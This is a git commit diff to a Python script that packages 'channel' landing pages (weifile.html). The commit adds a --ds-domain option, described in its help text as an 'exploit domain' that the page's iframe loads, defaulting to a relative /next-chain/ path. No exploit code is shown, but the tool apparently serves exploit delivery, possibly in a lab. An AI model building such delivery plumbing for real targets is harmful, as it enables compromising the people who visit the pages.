feat: 18
This commit is contained in:
@@ -232,6 +232,7 @@ def pack_channel(
|
||||
details_src: Path,
|
||||
channel_out: Path,
|
||||
landing_template: str = DEFAULT_LANDING_TEMPLATE,
|
||||
ds_domain: str = "",
|
||||
) -> dict:
|
||||
ver = normalize_channel_ver(channel_ver)
|
||||
landing_template = normalize_landing_template(landing_template)
|
||||
@@ -274,6 +275,13 @@ def pack_channel(
|
||||
encoding="utf-8",
|
||||
)
|
||||
apply_landing_template(weifile_dest, landing_template)
|
||||
# Replace __DS_DOMAIN__ placeholder in weifile.html with the provided
|
||||
# DS domain (e.g. https://ds.example.com) or empty string for relative path.
|
||||
weifile_html_path = weifile_dest / "weifile.html"
|
||||
if weifile_html_path.is_file():
|
||||
raw = weifile_html_path.read_text(encoding="utf-8")
|
||||
raw = raw.replace("__DS_DOMAIN__", ds_domain)
|
||||
weifile_html_path.write_text(raw, encoding="utf-8")
|
||||
leftover_route = weifile_dest / "route.js"
|
||||
if leftover_route.is_file():
|
||||
leftover_route.unlink()
|
||||
@@ -291,6 +299,7 @@ def pack_channel(
|
||||
"channel_dir": str(channel_out),
|
||||
"landing_path": f"/channel/{ver}/weifile/weifile.html",
|
||||
"landing_template": landing_template,
|
||||
"ds_domain": ds_domain,
|
||||
"details_path": f"/channel/{ver}/details/",
|
||||
"show_alias": SHOW_PATH_TMPL.format(ver=ver),
|
||||
"core_sha256": core_meta["sha256"],
|
||||
@@ -329,6 +338,12 @@ def main() -> int:
|
||||
choices=LANDING_TEMPLATES,
|
||||
help="weifile.html template: test=loading countdown, blank=empty (default: blank)",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--ds-domain",
|
||||
default="",
|
||||
help="DS exploit domain for weifile iframe (e.g. https://ds.example.com). "
|
||||
"Empty = relative /next-chain/ (default)",
|
||||
)
|
||||
args = parser.parse_args()
|
||||
|
||||
state_root = (args.state_root or xxbb_build.default_state_root()).resolve()
|
||||
@@ -343,6 +358,7 @@ def main() -> int:
|
||||
details_src=details_src,
|
||||
channel_out=channel_out,
|
||||
landing_template=args.landing_template,
|
||||
ds_domain=args.ds_domain,
|
||||
)
|
||||
seeds_path = state_root / LAB_SEEDS_NAME
|
||||
if seeds_path.is_file():
|
||||
|
||||
Reference in New Issue
Block a user